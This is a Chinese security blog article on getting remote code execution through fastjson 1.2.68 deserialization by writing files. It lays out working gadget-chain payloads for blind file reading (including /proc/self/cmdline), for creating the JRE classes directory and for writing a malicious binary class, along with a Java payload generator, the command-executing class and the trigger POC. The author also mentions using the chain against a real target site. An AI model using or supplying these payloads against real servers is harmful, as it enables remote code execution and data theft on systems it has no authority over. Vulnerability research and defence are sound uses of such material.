长亭百川云 - 文章详情

fastjson 1.2.68 反序列化写文件RCE探索

RainSec

67

2024-07-14

fastjson 1.2.68 反序列化写文件RCE探索

前言

  fastjson 1.2.68 目前公开的利用链中比较好用的是voidfyoo师傅的Commons IO 写文件链子,但是在spring环境下,仅仅通过写文件rce较为困难,本文更多的是结合多位师傅的文章理出一条通过写文件稳定rce方法

JDK8任意写文件场景下的Fastjson RCE

  通过覆盖charsets.jar缺点太多,一是文件大,二是java版本不适配。另外笔者觉得还有一个致命因素,一般来说项目中只要使用了Charset.forName 就会加载charsets.jar,这样来讲正常的业务代码中几乎都已经加载过charsets.jar,即使后来再覆盖charsets.jar也不会重新加载。仅为笔者个人(java初学者)想法(或许是在哪里看到过别的师傅的文章,有点印象),如有错误欢迎师傅指点。

  threedr3am师傅给出了任意文件写的情况下,如何更稳定地rce。简单来讲如果写一个恶意的class到jre/classes/目录下,class内容如下:

import java.io.IOException;  
  
public class MyClass implements AutoCloseable {  
    public MyClass(String cmd) throws IOException {  
        Runtime.getRuntime().exec(cmd);  
    }  
  
    public void close() throws Exception {  
    }  
  
    static {  
        try {  
            Runtime.getRuntime().exec("open -a Calculator");  
        } catch (IOException var1) {  
            throw new RuntimeException(var1);  
        }  
    }  
}  

  正在运行的项目会加载这个class文件,我们只需要使用如下poc即可rce。

{"@type":"java.lang.AutoCloseable","@type":"MyClass","cmd":"open -a Calculator"}

  这里只做简述,具体原理到threedr3am师傅的博客中查看。

  很可惜的是jre目录下默认并不会存在classes目录,另外voidfyoo师傅给出的Commons IO 写文件链子不能写二进制文件,具体原因是使用的输入输出流都是经过编码的,而二进制文件中部分字符编码/解码失败就会写入脏字符。 那么目前我们需要解决的问题有三点:

  1. 1. 获取jdk目录

  2. 2. 创建classes目录

  3. 3. 写入class文件

获取jdk目录

  在Blackhat的议题中分享了一条commons-io逐字节读文件的链子,但是局限性很大。经过浅蓝师傅的扩展,目前可以做到有抛出异常的布尔读和利用dnslog 无回显读 ,贴一下浅蓝师傅的有抛出异常的布尔读取文件的poc:

{  
  "abc":{"@type": "java.lang.AutoCloseable",  
    "@type": "org.apache.commons.io.input.BOMInputStream",  
    "delegate": {"@type": "org.apache.commons.io.input.ReaderInputStream",  
      "reader": { "@type": "jdk.nashorn.api.scripting.URLReader",  
        "url": "file:///tmp/test"  
      },  
      "charsetName": "UTF-8",  
      "bufferSize": 1024  
    },"boms": [  
      {  
        "@type": "org.apache.commons.io.ByteOrderMark",  
        "charsetName": "UTF-8",  
        "bytes": [  
          98  
        ]  
      }  
    ]  
  },  
  "address" : {"@type": "java.lang.AutoCloseable","@type":"org.apache.commons.io.input.CharSequenceReader","charSequence": {"@type": "java.lang.String"{"$ref":"$.abc.BOM[0]"},"start": 0,"end": 0}  
}

  当字节码对比一致时就会走到下面charSequence处,因为类型不一致fastjson报错,业务抛出异常, 字节码对比不一致时返回为null,fastjson也就不会报错,业务回显正常。 我们可以直接读取启动命令 /proc/self/cmdline, 有的时候直接是用绝对路径来启动的,如果不是可以用netdoc协议列目录找到jdk路径

创建classes目录

  笔者找到一条简单的通过Commons IO创建目录的链子,使用的类是org.apache.commons.io.output.LockableFileWriter

public LockableFileWriter(File file, Charset encoding, boolean append, String lockDir) throws IOException {  
        file = file.getAbsoluteFile();  
        if (file.getParentFile() != null) {  
            FileUtils.forceMkdir(file.getParentFile());  
        }  
  
        if (file.isDirectory()) {  
            throw new IOException("File specified is a directory");  
        } else {  
            if (lockDir == null) {  
                lockDir = System.getProperty("java.io.tmpdir");  
            }  
  
            File lockDirFile = new File(lockDir);  
            FileUtils.forceMkdir(lockDirFile);  
            this.testLockDir(lockDirFile);  
            this.lockFile = new File(lockDirFile, file.getName() + ".lck");  
            this.createLock();  
            this.out = this.initWriter(file, encoding, append);  
        }  
    }  
  
  
FileUtils#forceMkdir  
  
  
public static void forceMkdir(File directory) throws IOException {  
        ......  
        if (directory.exists()) {  
            ......  
        } else if (!directory.mkdirs() && !directory.isDirectory()) {  
          ......  
        }  
  
    }

poc

{  
 "@type":"java.lang.AutoCloseable",  
 "@type":"org.apache.commons.io.output.WriterOutputStream",  
 "writer":{  
 "@type":"org.apache.commons.io.output.LockableFileWriter",  
 "file":"/etc/passwd", //一个存在的文件  
 "encoding":"UTF-8",  
 "append": true,  
"lockDir":"/usr/lib/jvm/java-8-openjdk-amd64/jre/classes" //要创建的目录  
 },  
 "charset":"UTF-8",  
 "bufferSize": 8193,  
 "writeImmediately": true  
 }

  file需要是一个存在的文件,才能走到下面的FileUtils.forceMkdir(lockDirFile) 创建目录 注:mac环境下可能有保护机制,jre下classes创建不了,实测ubuntu上是可以创建的。

写入class文件

  笔者能力有限,只依赖commons-io 未能找到一条写二进制文件的链子,在Blackhat的议题中分享了一条基于commons-io、commons-codec、aspectj写二进制文件的链,笔者近日打的fastjson刚好有commons-io、commons-codec,但是没有aspectj。于是在另一位师傅列出lib之后,在ant中找到了org.apache.tools.ant.util.LazyFileOutputStream 类,可以替代aspectj中的org.eclipse.core.internal.localstore.SafeFileOutputStream

public static void write_so(String target_path) throws IOException {  
    byte[] bom_buffer_bytes = readFileInBytesToString("./target/classes/MyClass.class");  
    String base64_so_content = Base64.getEncoder().encodeToString(bom_buffer_bytes);  
    byte[] big_bom_buffer_bytes = Base64.getDecoder().decode(base64_so_content);  
    String payload = String.format("{\n" +  
                "  \"@type\":\"java.lang.AutoCloseable\",\n" +  
                "  \"@type\":\"org.apache.commons.io.input.BOMInputStream\",\n" +  
                "  \"delegate\":{\n" +  
                "    \"@type\":\"org.apache.commons.io.input.TeeInputStream\",\n" +  
                "    \"input\":{\n" +  
                "      \"@type\": \"org.apache.commons.codec.binary.Base64InputStream\",\n" +  
                "      \"in\":{\n" +  
                "        \"@type\":\"org.apache.commons.io.input.CharSequenceInputStream\",\n" +  
                "        \"charset\":\"utf-8\",\n" +  
                "        \"bufferSize\": 1024,\n" +  
                "        \"cs\":{\"@type\":\"java.lang.String\"\"%1$s\"\n" +  
                "      },\n" +  
                "      \"doEncode\":false,\n" +  
                "      \"lineLength\":1024,\n" +  
                "      \"lineSeparator\":\"5ZWKCg==\",\n" +  
                "      \"decodingPolicy\":0\n" +  
                "    },\n" +  
                "    \"branch\":{\n" +  
                //"      \"@type\":\"org.eclipse.core.internal.localstore.SafeFileOutputStream\",\n" +  
                //"      \"targetPath\":\"%2$s\"\n" +  
                "      \"@type\":\"org.apache.tools.ant.util.LazyFileOutputStream\",\n" +  
                "      \"file\":\"%2$s\",\n" +  
                "      \"append\":false,\n" +  
                "      \"alwaysCreate\":true\n" +  
                "    },\n" +  
                "    \"closeBranch\":false\n" +  
                "  },\n" +  
                "  \"include\":true,\n" +  
                "  \"boms\":[{\n" +  
                "                  \"@type\": \"org.apache.commons.io.ByteOrderMark\",\n" +  
                "                  \"charsetName\": \"UTF-8\",\n" +  
                "                  \"bytes\":" +"%3$s\n" +  
                "                }],\n" +  
                "  \"x\":{\"$ref\":\"$.bOM\"}\n" +  
                "}",base64_so_content, "/tmp/MyClass.class", Arrays.toString(big_bom_buffer_bytes));  
    System.out.println(payload);  
}  
public static byte[] readFileInBytesToString(String filePath) {  
        final int readArraySizePerRead = 4096;  
        File file = new File(filePath);  
        ArrayList<Byte> bytes = new ArrayList<>();  
        try {  
            if (file.exists()) {  
                DataInputStream isr = new DataInputStream(new FileInputStream(  
                        file));  
                byte[] tempchars = new byte[readArraySizePerRead];  
                int charsReadCount = 0;  
  
                while ((charsReadCount = isr.read(tempchars)) != -1) {  
                    for(int i = 0 ; i < charsReadCount ; i++){  
                        bytes.add (tempchars[i]);  
                    }  
                }  
                isr.close();  
            }  
        } catch (IOException e) {  
            // TODO Auto-generated catch block  
            e.printStackTrace();  
        }  
  
        return toPrimitives(bytes.toArray(new Byte[0]));  
    }  
  
    static byte[] toPrimitives(Byte[] oBytes) {  
        byte[] bytes = new byte[oBytes.length];  
  
        for (int i = 0; i < oBytes.length; i++) {  
            bytes[i] = oBytes[i];  
        }  
  
        return bytes;  
    }

  笔者在vps用jar起的环境和本地手动创建classes目录之后都是可以成功的。

  但是打的站没成功,别的师傅通过别的链打下来后,笔者上去看了下class文件没问题,也能直接运行,但是很奇怪用fastjson加载不了。

最后

  在root权限下可以直接通过commons-io链写计划任务,低权限下通过写class文件rce,获取jdk目录、创建classes目录仅依赖commons-io,但是写入class文件需要更多不太常见的依赖,总的来讲利用条件还是较为苛刻的。

参考

  1. 1. Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析(https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg)

  2. 2. Blackhat 2021 议题详细分析 —— FastJson 反序列化漏洞及在区块链应用中的渗透利用(https://paper.seebug.org/1698/#3commons-io)

  3. 3. fastjson 读文件 gadget 的利用场景扩展(https://b1ue.cn/archives/506.html)

  4. 4. JDK8任意文件写场景下的Fastjson RCE(https://threedr3am.github.io/2021/04/13/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84Fastjson%20RCE/)

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2